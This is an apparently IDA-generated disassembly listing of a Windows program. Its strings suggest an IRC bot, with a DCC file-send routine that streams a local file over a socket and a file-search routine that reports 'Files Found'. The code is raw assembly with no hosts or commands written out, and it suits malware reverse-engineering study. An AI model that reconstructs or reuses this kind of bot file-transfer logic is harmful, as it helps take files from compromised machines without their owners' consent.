		call	sub_40136B
		test	al, al
		jz	short loc_40C09A


loc_40C058:				; CODE XREF: sub_40C040+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401B9A
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40106E
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40136B
		test	al, al
		jnz	short loc_40C058
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40C09A:				; CODE XREF: sub_40C040+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_40C040	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C0D0	proc near		; CODE XREF: sub_4021EEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401569
sub_40C0D0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_40C0E5
		mov	edi, esi


loc_40C0E5:				; CODE XREF: ___:0040C0E1j
		push	esi
		call	sub_402117
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_40C0FA
		mov	edi, esi


loc_40C0FA:				; CODE XREF: ___:0040C0F6j
		push	esi
		call	sub_40215D
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C120	proc near		; CODE XREF: sub_401FEBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_402077
sub_40C120	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C140	proc near		; CODE XREF: sub_402117j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_40C140	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C160	proc near		; CODE XREF: sub_401848j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_40C160	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C180	proc near		; CODE XREF: sub_402158j
		mov	eax, ecx
		retn
sub_40C180	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C1A0	proc near		; CODE XREF: sub_4014B0j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40105A
		mov	eax, esi
		pop	esi
		retn	4
sub_40C1A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C1D0	proc near		; CODE XREF: sub_401CFDj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_40C1D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C200	proc near		; CODE XREF: sub_40106Ej

var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401B9A
		mov	ecx, eax
		call	sub_4016AE
		mov	esi, eax
		push	esi
		call	sub_402117
		push	esi
		mov	ebx, eax
		call	sub_40215D
		mov	ecx, [eax]
		push	ecx
		call	sub_402117
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_40215D
		push	esi
		mov	ebx, eax
		call	sub_402117
		mov	eax, [eax]
		push	eax
		call	sub_40215D
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401848
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401221
		push	esi
		mov	ecx, edi
		call	sub_401FEB
sub_40C200	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C2C0	proc near		; CODE XREF: sub_40215Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_40C2C0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C2E0	proc near		; CODE XREF: sub_401569j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_40C2E0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C310	proc near		; CODE XREF: sub_402077j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_40C310	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C330	proc near		; CODE XREF: sub_401F32j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4011AE
		add	esp, 8
		retn	8
sub_40C330	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C360	proc near		; CODE XREF: sub_40105Aj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_40C360	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C380	proc near		; CODE XREF: sub_4016AEj
		mov	eax, [ecx]
		retn
sub_40C380	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C3A0	proc near		; CODE XREF: sub_401B9Aj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40133E
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_40C3A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C3D0	proc near		; CODE XREF: sub_401221j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_2
		pop	ecx
		retn	4
sub_40C3D0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C3F0	proc near		; CODE XREF: sub_4011AEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40C40B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40C40B:				; CODE XREF: sub_40C3F0+11j
		retn
sub_40C3F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C440	proc near		; CODE XREF: sub_401BF9j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40C440
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	4
		push	0Eh
		push	5
		push	13h
		push	4Fh
		push	3
		push	3
		lea	eax, [esp+48h+var_24]
		push	4
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_40168B
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_40C440	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C4E0	proc near		; CODE XREF: sub_40171Cj

var_AB4		= dword	ptr -0AB4h
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= byte ptr -0A9Ch
var_A98		= byte ptr -0A98h
var_A94		= dword	ptr -0A94h
var_A90		= dword	ptr -0A90h
var_A8C		= dword	ptr -0A8Ch
var_A88		= dword	ptr -0A88h
var_A84		= dword	ptr -0A84h
var_A78		= byte ptr -0A78h
var_A74		= dword	ptr -0A74h
var_A70		= byte ptr -0A70h
var_A6C		= byte ptr -0A6Ch
var_A5C		= byte ptr -0A5Ch
var_A54		= byte ptr -0A54h
var_A3C		= byte ptr -0A3Ch
var_A38		= byte ptr -0A38h
var_A24		= byte ptr -0A24h
var_A1C		= dword	ptr -0A1Ch
var_A18		= dword	ptr -0A18h
var_910		= byte ptr -910h
var_710		= byte ptr -710h
var_510		= byte ptr -510h
var_40C		= byte ptr -40Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40C4E0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0AA0h
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4014DD
		mov	ebp, [esp+0ABCh+arg_0]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40CA2E
		lea	ecx, [esp+0ABCh+var_A78]
		call	sub_401091
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+0AC4h+var_A3C]
		xor	esi, esi
		push	1
		push	eax
		mov	ecx, ebp
		mov	[esp+0ACCh+var_4], esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+0AC0h+var_A70]
		mov	byte ptr [esp+0AC0h+var_4], 1
		call	sub_40202C
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		push	esi
		push	1
		push	2
		mov	[esp+0AC8h+var_AA8], esi
		mov	[esp+0AC8h+var_AA4], esi
		mov	[esp+0AC8h+var_A90], esi
		nop
		call	near ptr 71AB3B91h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+0ABCh+var_AAC], ebx
		jnz	short loc_40C5AC
		lea	ecx, [esp+0ABCh+var_710]
		push	offset aDccFailedToCre ; "[DCC]: Failed	to create socket."
		push	ecx
		nop
		call	sub_5FADE9
		add	esp, 8
		jmp	loc_40C9D5
; ---------------------------------------------------------------------------


loc_40C5AC:				; CODE XREF: sub_40C4E0+AFj
		xor	edx, edx
		push	esi
		mov	[esp+0AC0h+var_AA0], edx
		mov	word ptr [esp+0AC0h+var_AA0], 2
		mov	dword ptr [esp+0AC0h+var_A9C], edx
		mov	dword ptr [esp+0AC0h+var_A98], edx
		mov	[esp+0AC0h+var_A94], edx
		call	near ptr 71AB2B66h
		nop
		mov	word ptr [esp+0ABCh+var_AA0+2],	ax
		lea	eax, [esp+0ABCh+var_AA0]
		push	10h
		push	eax
		push	ebx
		mov	dword ptr [esp+0AC8h+var_A9C], esi
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_40C5FA
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		push	eax
		push	offset aDccFailedToBin ; "dcc: failed to bind socket"
		jmp	loc_40C6A0
; ---------------------------------------------------------------------------


loc_40C5FA:				; CODE XREF: sub_40C4E0+105j
		lea	eax, [esp+0ABCh+var_A88]
		lea	ecx, [esp+0ABCh+var_AA0]
		push	eax
		push	ecx
		push	ebx
		mov	[esp+0AC8h+var_A88], 10h
		nop
		call	near ptr 71AB951Eh
		mov	edx, [esp+0ABCh+var_AA0+2]
		push	edx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esp+0ABCh+var_A70]
		mov	[esp+0ABCh+var_A8C], eax
		call	sub_4014DD
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+0ABCh+var_910]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		xor	edx, edx
		rep movsb


loc_40C653:				; CODE XREF: sub_40C4E0+1A3j
		mov	al, [esp+edx+0ABCh+var_910]
		cmp	al, 20h
		jnz	short loc_40C665
		mov	eax, 5Fh
		jmp	short loc_40C668
; ---------------------------------------------------------------------------


loc_40C665:				; CODE XREF: sub_40C4E0+17Cj
		movsx	eax, al


loc_40C668:				; CODE XREF: sub_40C4E0+183j
		mov	[esp+edx+0ABCh+var_510], al
		lea	edi, [esp+0ABCh+var_910]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jbe	short loc_40C653
		push	1
		push	ebx
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_40C6BD
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		push	eax
		push	offset aDccFailedToOpe ; "dcc: failed to open socket"


loc_40C6A0:				; CODE XREF: sub_40C4E0+115j
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_40C9CF
; ---------------------------------------------------------------------------


loc_40C6BD:				; CODE XREF: sub_40C4E0+1B0j
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		lea	ecx, [esp+0AD4h+var_A70]
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 28502BBh
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C724
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccFileDoesnTE ; "dcc: file doesn't exist"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	edx, [esp+0ABCh+var_710]
		push	offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist."
		push	edx
		nop
		call	sub_5FADE9
		add	esp, 8
		jmp	loc_40C9CF
; ---------------------------------------------------------------------------


loc_40C724:				; CODE XREF: sub_40C4E0+201j
		push	0
		push	esi
		call	near ptr 2850000h
		nop
		lea	ecx, [esp+0ABCh+var_A54]
		mov	ebx, eax
		call	sub_40142E
		mov	eax, [esp+0ABCh+var_A8C]
		push	ebx
		and	eax, 0FFFFh
		mov	byte ptr [esp+0AC0h+var_4], 2
		push	eax
		mov	eax, dword_4D808D
		push	eax
		call	sub_401E10
		add	esp, 4
		push	eax
		call	near ptr 71AB2BF4h
		nop
		push	eax
		nop
		call	near ptr 71AB2BC0h
		push	eax
		lea	ecx, [esp+0AD0h+var_A78]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+0AD4h+var_A5C]
		push	offset dword_444A08
		push	ecx
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+15h]
		call	sub_40168B
		push	eax
		lea	ecx, [esp+0AC8h+var_A5C]
		call	sub_4014DD
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	edi, [esp+0AC4h+var_AB4]
		lea	ecx, [esp+0AC4h+var_A88]
		push	ecx
		push	0
		lea	edx, [esp+0ACCh+var_A1C]
		push	0
		push	edx
		push	0
		mov	[esp+0AD8h+var_A88], 3Ch
		mov	[esp+0AD8h+var_A84], 0
		mov	[esp+0AD8h+var_A18], edi
		mov	[esp+0AD8h+var_A1C], 1
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jg	short loc_40C81D
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccTimeout ; "dcc: timeout"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_40C9BA
; ---------------------------------------------------------------------------


loc_40C81D:				; CODE XREF: sub_40C4E0+310j
		lea	edx, [esp+0ABCh+var_A84]
		lea	eax, [esp+0ABCh+var_A24]
		push	edx
		push	eax
		push	edi
		mov	[esp+0AC8h+var_A84], 10h
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		mov	[esp+0ABCh+var_A74], eax
		jnz	short loc_40C86D
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	offset aDccUnableToOpe ; "dcc: unable to open socket"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_40C9BA
; ---------------------------------------------------------------------------


loc_40C86D:				; CODE XREF: sub_40C4E0+360j
		push	edi
		nop
		call	near ptr 71AB9639h
		test	ebx, ebx
		jz	loc_40C925


loc_40C87C:				; CODE XREF: sub_40C4E0+438j
		mov	ebp, 400h
		cmp	ebx, ebp
		jge	short loc_40C887
		mov	ebp, ebx


loc_40C887:				; CODE XREF: sub_40C4E0+3A3j
		mov	edx, ebx
		xor	eax, eax
		neg	edx
		push	2
		mov	ecx, 100h
		lea	edi, [esp+0AC0h+var_40C]
		push	eax
		push	edx
		push	esi
		rep stosd
		call	near ptr 284030Bh
		nop
		lea	eax, [esp+0ABCh+var_A90]
		push	0
		push	eax
		lea	ecx, [esp+0AC4h+var_40C]
		push	ebp
		push	ecx
		push	esi
		nop
		call	near ptr 2840000h
		mov	eax, [esp+0ABCh+var_A74]
		push	0
		lea	edx, [esp+0AC0h+var_40C]
		push	ebp
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [esp+0ABCh+var_AA8]
		mov	ebp, [esp+0ABCh+var_AA4]
		mov	edi, eax
		push	0
		cdq
		add	ecx, eax
		push	400h
		mov	[esp+0AC4h+var_AA8], ecx
		lea	ecx, [esp+0AC4h+var_40C]
		adc	ebp, edx
		mov	edx, [esp+0AC4h+var_A74]
		push	ecx
		push	edx
		mov	[esp+0ACCh+var_AA4], ebp
		call	near ptr 71AB615Ah
		nop
		cmp	eax, 1
		jl	loc_40C9EE
		cmp	edi, 1
		jl	loc_40C9EE
		sub	ebx, edi
		jnz	loc_40C87C
		mov	ebp, [esp+0ABCh+arg_0]


loc_40C925:				; CODE XREF: sub_40C4E0+396j
		push	esi
		nop
		call	near ptr 2830942h
		lea	ecx, [esp+0AB8h+var_A38]
		call	sub_40142E
		mov	eax, [esp+0AB8h+var_AA0]
		mov	ecx, [esp+0AB8h+var_AA4]
		push	eax
		push	ecx
		lea	ecx, [esp+0AC0h+var_A6C]
		mov	byte ptr [esp+0AC0h], 3
		call	sub_4014DD
		mov	edx, [esp+0AC0h+var_A1C]
		push	eax
		push	edx
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [esp+0ACCh+var_A3C]
		push	offset aDccCompleteToS ; "dcc: complete	to %s, file: %s, (%d byte"...
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+0AC0h+var_A3C]
		call	sub_4014DD
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 2
		call	sub_401226


loc_40C9BA:				; CODE XREF: sub_40C4E0+338j
					; sub_40C4E0+388j
		lea	ecx, [esp+0ABCh+var_A54]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		mov	ebx, [esp+0ABCh+var_AAC]


loc_40C9CF:				; CODE XREF: sub_40C4E0+1D8j
					; sub_40C4E0+23Fj
		xor	esi, esi
		cmp	ebx, esi
		jbe	short loc_40C9DC


loc_40C9D5:				; CODE XREF: sub_40C4E0+C7j
		push	ebx
		nop
		call	near ptr 71AB9639h


loc_40C9DC:				; CODE XREF: sub_40C4E0+4F3j
		mov	eax, [esp+0ABCh+var_A74]
		push	eax
		nop
		call	near ptr 71AB9639h
		push	esi
		nop
		call	near ptr 2830156h


loc_40C9EE:				; CODE XREF: sub_40C4E0+427j
					; sub_40C4E0+430j
		mov	esi, [esp+0ABCh+arg_0]
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aDccSocketError ; "dcc: socket error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	edx, [esp+0ABCh+var_A74]
		push	edx
		nop
		call	near ptr 71AB9639h
		push	1
		call	near ptr 2830156h
		nop


loc_40CA2E:				; CODE XREF: sub_40C4E0+39j
		mov	ecx, [esp+0ABCh+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 0AACh
		retn	4
sub_40C4E0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CBB0	proc near		; CODE XREF: sub_401091j
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8]
		call	sub_40142E
		mov	eax, esi
		pop	esi
		retn
sub_40CBB0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CBD0:				; CODE XREF: ___:loc_401B13j
		add	ecx, 8
		jmp	sub_401226
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40CBF0	proc near		; CODE XREF: sub_402063j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CBF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	0Ch
		push	9
		lea	eax, [esp+38h+var_24]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_40CBF0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CC90	proc near		; CODE XREF: sub_401BB8j

var_279		= byte ptr -279h
var_278		= byte ptr -278h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= byte ptr -258h
var_247		= byte ptr -247h
var_232		= byte ptr -232h
var_221		= dword	ptr -221h
var_21D		= dword	ptr -21Dh
var_219		= dword	ptr -219h
var_215		= dword	ptr -215h
var_211		= dword	ptr -211h
var_20C		= byte ptr -20Ch
var_208		= byte ptr -208h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40CC90
		push	eax
		mov	large fs:0, esp
		sub	esp, 270h
		add	ecx, 4
		push	esi
		call	sub_4014DD
		mov	esi, [esp+280h+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40CE91
		push	ebx
		lea	ecx, [esp+284h+var_260]
		call	sub_40199C
		lea	eax, [esi+2Ah]
		xor	ebx, ebx
		push	eax
		lea	ecx, [esp+288h+var_25C]
		mov	[esp+288h+var_4], ebx
		mov	[esp+288h+var_260], ebx
		call	sub_40202C
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+28Ch+var_278]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 1
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+288h+var_247]
		call	sub_401A9B
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+28Ch+var_278]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 2
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+288h+var_232]
		call	sub_401A9B
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		mov	edx, [esp+284h+var_221]
		xor	eax, eax
		mov	al, [esi+94h]
		xor	ecx, ecx
		mov	cl, [esi+93h]
		mov	[esp+284h+var_219], eax
		lea	eax, [esp+284h+var_278]
		mov	[esp+284h+var_215], ecx
		push	edx
		push	eax
		lea	ecx, [esp+28Ch+var_232]
		mov	[esp+28Ch+var_21D], ebx
		mov	[esp+28Ch+var_211], 1
		call	sub_401E47
		push	offset asc_444ADC ; "\\"
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 3
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		setz	[esp+284h+var_279]
		call	sub_401226
		cmp	[esp+284h+var_279], bl
		jz	short loc_40CE0B
		mov	ecx, [esp+284h+var_221]
		lea	edx, [esp+284h+var_278]
		push	ecx
		push	edx
		lea	ecx, [esp+28Ch+var_232]
		call	sub_401E47
		push	offset dword_448F34
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 4
		call	sub_401A9B
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226


loc_40CE0B:				; CODE XREF: sub_40CC90+142j
		push	ebx
		lea	ecx, [esp+288h+var_232]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+28Ch+var_247]
		call	sub_4014DD
		push	eax
		mov	eax, [esp+290h+var_219]
		push	eax
		lea	ecx, [esp+294h+var_25C]
		call	sub_40168B
		mov	ecx, [esp+294h+var_260]
		push	eax
		push	ecx
		call	sub_40227A
		push	eax
		lea	edx, [esp+2A0h+var_20C]
		push	offset aFilesFoundD ; "Files Found: %d"
		push	edx
		call	sub_5FADE9
		nop
		mov	eax, [esp+2A4h+var_211]
		add	esp, 24h
		cmp	eax, ebx
		jnz	short loc_40CE7C
		mov	eax, [esp+280h+var_215]
		lea	ecx, [esp+280h+var_208]
		push	eax
		push	ecx
		lea	ecx, [esp+288h+var_258]
		call	sub_40168B
		mov	edx, [esp+288h+var_25C]
		push	eax
		push	edx
		call	sub_40152D
		add	esp, 10h


loc_40CE7C:				; CODE XREF: sub_40CC90+1C9j
		mov	eax, [esp+280h+var_219]
		push	eax
		call	sub_401E3D
		add	esp, 4
		push	ebx
		nop
		call	near ptr 2830156h
		pop	ebx


loc_40CE91:				; CODE XREF: sub_40CC90+36j
		mov	ecx, [esp+280h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 27Ch
		retn	4
sub_40CC90	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CF40	proc near		; CODE XREF: sub_40199Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CF40
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+4]
		call	sub_40142E
